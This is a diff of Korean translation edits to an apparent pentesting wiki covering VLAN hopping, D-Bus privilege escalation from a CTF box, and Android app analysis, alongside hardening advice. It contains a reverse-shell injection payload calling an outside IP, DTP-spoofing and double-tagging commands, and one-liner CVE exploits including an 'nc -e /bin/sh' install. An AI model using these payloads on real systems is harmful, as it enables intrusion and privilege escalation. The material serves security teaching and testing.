@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 실행 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
|
||||
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
@ -46,13 +46,13 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.
|
||||
|
||||
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 무제한 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다.
|
||||
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다.
|
||||
|
||||
---
|
||||
|
||||
## 기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음)
|
||||
|
||||
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반적으로 **정상 액세스 포트**에 연결되어 있습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
|
||||
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 **액세스 포트**에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
|
||||
|
||||
### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑
|
||||
|
||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 요구하지 않으며, 대신 *ip link*를 사용하십시오:
|
||||
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 필요로 하지 않으며, 대신 *ip link*를 사용하십시오:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
@ -86,8 +86,8 @@ python3 DoubleTagging.py \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
패킷 통과:
|
||||
1. 외부 태그(1)는 첫 번째 스위치에 의해 제거되며, 이는 기본 VLAN과 일치합니다.
|
||||
2. 내부 태그(20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다.
|
||||
1. 외부 태그 (1)는 기본 VLAN과 일치하기 때문에 첫 번째 스위치에 의해 제거됩니다.
|
||||
2. 내부 태그 (20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다.
|
||||
|
||||
이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다.
|
||||
|
||||
@ -109,12 +109,12 @@ sendp(frame, iface="eth0")
|
||||
1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. 모든 트렁크에서 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`.
|
||||
3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`.
|
||||
4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 강제 적용하여 악성 Layer-2 활동 제한.
|
||||
4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 시행하여 불법 Layer-2 활동 제한.
|
||||
5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호.
|
||||
|
||||
---
|
||||
|
||||
## 참고 문헌
|
||||
## 참조
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN 공격 툴킷 – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
D-Bus는 Ubuntu 데스크탑 환경에서 프로세스 간 통신(IPC) 중재자로 사용됩니다. Ubuntu에서는 여러 메시지 버스가 동시에 운영되는 것을 관찰할 수 있습니다: 시스템 버스는 주로 **시스템 전반에 걸쳐 관련된 서비스를 노출하기 위해 특권 서비스에 의해 사용되며**, 각 로그인한 사용자에 대한 세션 버스는 해당 특정 사용자에게만 관련된 서비스를 노출합니다. 여기서는 권한 상승을 목표로 하기 때문에 더 높은 권한(예: root)으로 실행되는 서비스와의 연관성 때문에 시스템 버스에 주로 초점을 맞춥니다. D-Bus의 아키텍처는 각 세션 버스에 대해 '라우터'를 사용하여 클라이언트가 통신하고자 하는 서비스에 대해 지정한 주소에 따라 클라이언트 메시지를 적절한 서비스로 리디렉션하는 역할을 합니다.
|
||||
|
||||
D-Bus의 서비스는 그들이 노출하는 **객체**와 **인터페이스**에 의해 정의됩니다. 객체는 표준 OOP 언어의 클래스 인스턴스에 비유될 수 있으며, 각 인스턴스는 **객체 경로**에 의해 고유하게 식별됩니다. 이 경로는 파일 시스템 경로와 유사하게 서비스에 의해 노출된 각 객체를 고유하게 식별합니다. 연구 목적을 위한 주요 인터페이스는 **org.freedesktop.DBus.Introspectable** 인터페이스로, 단일 메소드인 Introspect를 특징으로 합니다. 이 메소드는 객체가 지원하는 메소드, 신호 및 속성의 XML 표현을 반환하며, 여기서는 속성과 신호를 생략하고 메소드에 초점을 맞춥니다.
|
||||
D-Bus의 서비스는 그들이 노출하는 **객체**와 **인터페이스**에 의해 정의됩니다. 객체는 표준 OOP 언어의 클래스 인스턴스에 비유될 수 있으며, 각 인스턴스는 **객체 경로**에 의해 고유하게 식별됩니다. 이 경로는 파일 시스템 경로와 유사하게 서비스에 의해 노출된 각 객체를 고유하게 식별합니다. 연구 목적을 위한 주요 인터페이스는 **org.freedesktop.DBus.Introspectable** 인터페이스로, 단일 메서드인 Introspect를 특징으로 합니다. 이 메서드는 객체가 지원하는 메서드, 신호 및 속성의 XML 표현을 반환하며, 여기서는 속성과 신호를 생략하고 메서드에 초점을 맞춥니다.
|
||||
|
||||
D-Bus 인터페이스와의 통신을 위해 두 가지 도구가 사용되었습니다: D-Bus에서 노출된 메소드를 스크립트에서 쉽게 호출할 수 있도록 하는 CLI 도구인 **gdbus**와 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하도록 설계된 Python 기반 GUI 도구인 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet)입니다.
|
||||
D-Bus 인터페이스와의 통신을 위해 두 가지 도구가 사용되었습니다: D-Bus에서 노출된 메서드를 스크립트에서 쉽게 호출할 수 있도록 하는 CLI 도구인 **gdbus**와 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하도록 설계된 Python 기반 GUI 도구인 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet)입니다.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -16,9 +16,9 @@ sudo apt-get install d-feet
|
||||
|
||||

|
||||
|
||||
첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되며, **org.debin.apt**가 시스템 버스 버튼을 선택한 후 특별히 강조됩니다. D-Feet는 이 서비스에 대해 객체를 쿼리하여 선택된 객체의 인터페이스, 메서드, 속성 및 신호를 두 번째 이미지에서 보여줍니다. 각 메서드의 시그니처도 자세히 설명되어 있습니다.
|
||||
첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되며, **org.debin.apt**가 시스템 버스 버튼을 선택한 후 특별히 강조됩니다. D-Feet는 이 서비스에 대해 객체를 쿼리하여 선택된 객체의 인터페이스, 메서드, 속성 및 신호를 표시하며, 이는 두 번째 이미지에서 볼 수 있습니다. 각 메서드의 시그니처도 자세히 설명되어 있습니다.
|
||||
|
||||
주목할 만한 기능은 서비스의 **프로세스 ID (pid)**와 **명령줄**이 표시되어, 서비스가 상승된 권한으로 실행되는지 확인하는 데 유용하다는 점입니다. 이는 연구의 관련성에 중요합니다.
|
||||
주목할 만한 기능은 서비스의 **프로세스 ID (pid)**와 **명령줄**을 표시하는 것으로, 이는 서비스가 상승된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 관련성에 중요합니다.
|
||||
|
||||
**D-Feet는 메서드 호출도 허용합니다**: 사용자는 매개변수로 Python 표현식을 입력할 수 있으며, D-Feet는 이를 D-Bus 유형으로 변환한 후 서비스를 호출합니다.
|
||||
|
||||
@ -30,7 +30,7 @@ sudo apt-get install d-feet
|
||||
|
||||
### 서비스 객체 나열
|
||||
|
||||
열린 D-Bus 인터페이스를 나열하는 것이 가능합니다:
|
||||
열린 D-Bus 인터페이스를 나열하는 것은 가능합니다:
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### Connections
|
||||
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) 프로세스가 버스에 대한 연결을 설정하면, 버스는 해당 연결에 _고유 연결 이름_이라는 특별한 버스 이름을 할당합니다. 이러한 유형의 버스 이름은 불변이며, 연결이 존재하는 한 변경되지 않을 것이 보장됩니다. 더 중요한 것은, 버스의 수명 동안 재사용될 수 없다는 것입니다. 이는 해당 버스에 대한 다른 연결이 그러한 고유 연결 이름을 할당받지 않음을 의미하며, 동일한 프로세스가 버스에 대한 연결을 닫고 새 연결을 생성하더라도 마찬가지입니다. 고유 연결 이름은 금지된 콜론 문자로 시작하기 때문에 쉽게 인식할 수 있습니다.
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) 프로세스가 버스에 대한 연결을 설정하면, 버스는 해당 연결에 _고유 연결 이름_이라는 특별한 버스 이름을 할당합니다. 이러한 유형의 버스 이름은 불변이며, 연결이 존재하는 한 변경되지 않을 것이 보장됩니다. 더 중요한 것은, 버스의 수명 동안 재사용될 수 없다는 것입니다. 이는 해당 버스에 대한 다른 연결이 그러한 고유 연결 이름을 할당받지 않음을 의미하며, 동일한 프로세스가 버스에 대한 연결을 종료하고 새 연결을 생성하더라도 마찬가지입니다. 고유 연결 이름은 금지된 콜론 문자로 시작하기 때문에 쉽게 인식할 수 있습니다.
|
||||
|
||||
### Service Object Info
|
||||
|
||||
@ -150,11 +150,11 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
`.Block` 인터페이스 `htb.oouch.Block`의 메서드를 주목하세요 (우리가 관심 있는 부분입니다). 다른 열의 "s"는 문자열을 기대하고 있을 수 있습니다.
|
||||
노트 인터페이스 `htb.oouch.Block`의 메서드 `.Block` (우리가 관심 있는 것). 다른 열의 "s"는 문자열을 기대하고 있다는 의미일 수 있습니다.
|
||||
|
||||
### 모니터/캡처 인터페이스
|
||||
|
||||
충분한 권한이 있으면 (단지 `send_destination` 및 `receive_sender` 권한만으로는 부족합니다) **D-Bus 통신을 모니터링**할 수 있습니다.
|
||||
충분한 권한이 있으면 (단지 `send_destination` 및 `receive_sender` 권한만으로는 부족함) **D-Bus 통신을 모니터링**할 수 있습니다.
|
||||
|
||||
**통신을 모니터링**하려면 **root**여야 합니다. 여전히 root로 문제를 겪고 있다면 [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) 및 [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)를 확인하세요.
|
||||
|
||||
@ -188,7 +188,7 @@ STRING "Carried out :D";
|
||||
```
|
||||
`capture` 대신 `monitor`를 사용하여 결과를 pcap 파일에 저장할 수 있습니다.
|
||||
|
||||
#### 모든 노이즈 필터링 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
#### 모든 잡음을 필터링하기 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
버스에 정보가 너무 많으면 다음과 같이 일치 규칙을 전달하세요:
|
||||
```bash
|
||||
@ -247,8 +247,8 @@ return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
보시다시피, **D-Bus 인터페이스에 연결**하고 **"Block" 함수**에 "client_ip"를 전송하고 있습니다.
|
||||
|
||||
D-Bus 연결의 다른 쪽에는 C로 컴파일된 바이너리가 실행되고 있습니다. 이 코드는 **D-Bus 연결에서 IP 주소를 수신 대기하고 있으며 `system` 함수를 통해 iptables를 호출**하여 주어진 IP 주소를 차단합니다.\
|
||||
**`system` 호출은 명령 주입에 취약하도록 의도적으로 설계되었으므로**, 다음과 같은 페이로드는 리버스 셸을 생성합니다: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
D-Bus 연결의 반대편에는 C로 컴파일된 바이너리가 실행되고 있습니다. 이 코드는 **D-Bus 연결에서 IP 주소를 수신 대기**하고 **주어진 IP 주소를 차단하기 위해 `system` 함수를 통해 iptables를 호출**하고 있습니다.\
|
||||
**`system` 호출은 의도적으로 명령 주입에 취약하므로**, 다음과 같은 페이로드는 리버스 셸을 생성합니다: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Exploit it
|
||||
|
||||
@ -287,7 +287,7 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou
|
||||
- “-system” 태그는 세션 메시지가 아닌 시스템 메시지를 언급하는 데 사용됩니다 (기본값).
|
||||
- “–print-reply” 태그는 우리의 메시지를 적절하게 출력하고 인간이 읽을 수 있는 형식으로 응답을 받는 데 사용됩니다.
|
||||
- “–dest=Dbus-Interface-Block” Dbus 인터페이스의 주소입니다.
|
||||
- “–string:” – 인터페이스에 보내고자 하는 메시지의 유형입니다. 메시지를 보내는 여러 형식이 있으며, 이에는 double, bytes, booleans, int, objpath가 포함됩니다. 이 중 "object path"는 파일의 경로를 Dbus 인터페이스에 보내고자 할 때 유용합니다. 이 경우 특별한 파일(FIFO)을 사용하여 파일 이름으로 인터페이스에 명령을 전달할 수 있습니다. “string:;” – 이는 FIFO 리버스 쉘 파일/명령의 위치에 다시 object path를 호출하기 위한 것입니다.
|
||||
- “–string:” – 우리가 인터페이스에 보내고자 하는 메시지의 유형입니다. 메시지를 보내는 여러 형식이 있으며, 이에는 double, bytes, booleans, int, objpath가 포함됩니다. 이 중 “object path”는 파일의 경로를 Dbus 인터페이스에 보내고자 할 때 유용합니다. 이 경우 특별한 파일(FIFO)을 사용하여 파일 이름으로 인터페이스에 명령을 전달할 수 있습니다. “string:;” – 이는 FIFO 리버스 쉘 파일/명령의 위치를 다시 호출하기 위한 것입니다.
|
||||
|
||||
_`htb.oouch.Block.Block`에서 첫 번째 부분(`htb.oouch.Block`)은 서비스 객체를 참조하고 마지막 부분(`.Block`)은 메서드 이름을 참조합니다._
|
||||
|
||||
@ -451,7 +451,7 @@ sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
|
||||
### uptux.py
|
||||
* 저자: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* 시스템d 유닛의 *쓰기 가능한* 경로와 지나치게 관대한 D-Bus 정책 파일(e.g. `send_destination="*"` )을 찾는 파이썬 전용 스크립트.
|
||||
* 시스템d 유닛 **및** 지나치게 관대한 D-Bus 정책 파일(예: `send_destination="*"`에서 *쓰기 가능한* 경로를 찾는 파이썬 전용 스크립트.
|
||||
* 빠른 사용법:
|
||||
```bash
|
||||
python3 uptux.py -n # 모든 검사를 실행하지만 로그 파일을 작성하지 않음
|
||||
@ -465,18 +465,18 @@ python3 uptux.py -d # 자세한 디버그 출력을 활성화
|
||||
|
||||
## 주목할 만한 D-Bus 권한 상승 버그 (2024-2025)
|
||||
|
||||
최근에 발표된 CVE를 주의 깊게 살펴보면 사용자 정의 코드에서 유사한 불안전한 패턴을 발견하는 데 도움이 됩니다. 다음의 높은 영향력을 가진 로컬 EoP 문제는 모두 **시스템 버스**에서 인증/권한 부여가 누락된 데서 비롯됩니다:
|
||||
최근에 발표된 CVE를 주의 깊게 살펴보면 사용자 정의 코드에서 유사한 불안전한 패턴을 발견하는 데 도움이 됩니다. 다음의 높은 영향력을 가진 로컬 EoP 문제는 모두 **시스템 버스**에서 인증/권한 부여가 누락된 데서 발생합니다:
|
||||
|
||||
| 연도 | CVE | 구성 요소 | 근본 원인 | 원라인 PoC |
|
||||
| 연도 | CVE | 구성 요소 | 근본 원인 | 원라이너 PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID 데몬) | `logid` 시스템 서비스가 제한 없는 `org.freedesktop.Logiopsd` 인터페이스를 노출하여 *모든* 사용자가 장치 프로필을 변경하고 매크로 문자열을 통해 임의의 셸 명령을 주입할 수 있게 합니다. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID 데몬) | `logid` 시스템 서비스가 *모든* 사용자가 장치 프로필을 변경하고 매크로 문자열을 통해 임의의 셸 명령을 주입할 수 있는 제한 없는 `org.freedesktop.Logiopsd` 인터페이스를 노출합니다. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | 루트로 실행되는 프록시가 호출자 UID/Polkit 컨텍스트를 **전달하지 않고** 레거시 버스 이름을 백엔드 서비스로 전달하므로 모든 전달된 요청이 UID 0으로 처리됩니다. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | 공개 `Dispatch` 메서드에 ACL이 부족하여 → 공격자가 *패키지 관리자* 작업자에게 임의의 RPM을 설치하도록 지시할 수 있습니다. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
주목할 패턴:
|
||||
1. 서비스가 **시스템 버스에서 루트로 실행됨**.
|
||||
2. PolicyKit 검사가 없음 (또는 프록시로 우회됨).
|
||||
3. 메서드가 궁극적으로 `system()`/패키지 설치/장치 재구성으로 이어짐 → 코드 실행.
|
||||
1. 서비스가 **시스템 버스에서 루트로 실행됩니다**.
|
||||
2. PolicyKit 검사가 없음(또는 프록시로 우회됨).
|
||||
3. 메서드가 궁극적으로 `system()`/패키지 설치/장치 재구성으로 이어져 → 코드 실행.
|
||||
|
||||
`dbusmap --enable-probes` 또는 수동 `busctl call`을 사용하여 패치가 적절한 `polkit_authority_check_authorization()` 로직을 백포트하는지 확인합니다.
|
||||
|
||||
@ -489,7 +489,7 @@ python3 uptux.py -d # 자세한 디버그 출력을 활성화
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* 위험한 메서드에 Polkit을 요구합니다 – 심지어 *루트* 프록시도 자신의 PID 대신 *호출자* PID를 `polkit_authority_check_authorization_sync()`에 전달해야 합니다.
|
||||
* 장기 실행 도우미에서 권한을 떨어뜨립니다 (버스에 연결한 후 `sd_pid_get_owner_uid()`를 사용하여 네임스페이스를 전환).
|
||||
* 장기 실행 도우미에서 권한을 떨어뜨립니다(버스에 연결한 후 `sd_pid_get_owner_uid()`를 사용하여 네임스페이스를 전환).
|
||||
* 서비스를 제거할 수 없다면, 적어도 *범위*를 전용 유닉스 그룹으로 제한하고 XML 정책에서 접근을 제한합니다.
|
||||
* 블루팀: `busctl capture --output=/var/log/dbus_$(date +%F).pcap`로 시스템 버스의 지속적인 캡처를 활성화하고 Wireshark에 가져와 이상 탐지를 수행합니다.
|
||||
|
||||
|
@ -15,20 +15,20 @@ android-applications-basics.md
|
||||
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
|
||||
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 가능하게 합니다.
|
||||
|
||||
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배워보세요.
|
||||
ADB 사용 방법을 배우려면 다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하세요.
|
||||
|
||||
## Smali
|
||||
|
||||
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
|
||||
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼에서는 APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로, **이 가능성을 항상 염두에 두세요**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
- [Play Store에서 위치 스푸핑하기](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB 기반 비루트 특권 접근)](shizuku-privileged-api.md)
|
||||
- [Shizuku Privileged API (ADB 기반 비루트 권한 접근)](shizuku-privileged-api.md)
|
||||
- [불안전한 인앱 업데이트 메커니즘 악용하기](insecure-in-app-update-rce.md)
|
||||
- **APK 다운로드**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- 장치에서 APK 추출:
|
||||
- Extract APK from device:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -56,7 +56,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
## 정적 분석
|
||||
|
||||
우선, APK를 분석하기 위해서는 **디컴파일러를 사용하여 Java 코드를 살펴봐야 합니다**.\
|
||||
자세한 내용은 [**다양한 사용 가능한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md).
|
||||
자세한 내용은 [**다양한 디컴파일러에 대한 정보를 읽어보세요**](apk-decompilers.md).
|
||||
|
||||
### 흥미로운 정보 찾기
|
||||
|
||||
@ -64,9 +64,9 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
|
||||
|
||||
**Firebase**
|
||||
|
||||
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase에 대한 정보와 이를 악용하는 방법에 대한 자세한 내용은 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
|
||||
### 애플리케이션의 기본 이해 - Manifest.xml, strings.xml
|
||||
|
||||
**애플리케이션의 _Manifest.xml_ 및 **_strings.xml_** 파일을 검사하면 잠재적인 보안 취약점을 드러낼 수 있습니다**. 이 파일들은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
|
||||
|
||||
@ -74,8 +74,8 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
|
||||
|
||||
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
|
||||
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
|
||||
- **네트워크 보안**: _res/xml/_의 사용자 정의 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
|
||||
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
|
||||
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
|
||||
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다.
|
||||
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
|
||||
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
|
||||
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
|
||||
@ -112,7 +112,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
|
||||
1. **정적 분석:**
|
||||
- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토**되어야 합니다. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
|
||||
2. **동적 분석:**
|
||||
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
|
||||
- 앱에서 생성된 파일의 **권한**을 **확인**하세요. 특히, **전 세계적으로 읽거나 쓸 수 있도록 설정된 파일이 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
**외부 저장소**
|
||||
|
||||
@ -142,7 +142,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
|
||||
|
||||
**모든 인증서 수락**
|
||||
|
||||
어떤 이유로 개발자들은 때때로 호스트 이름이 다음과 같은 코드 줄과 일치하지 않더라도 모든 인증서를 수락합니다:
|
||||
어떤 이유로 개발자들이 호스트 이름이 코드의 다음 줄과 일치하지 않더라도 모든 인증서를 수락하는 경우가 있습니다:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
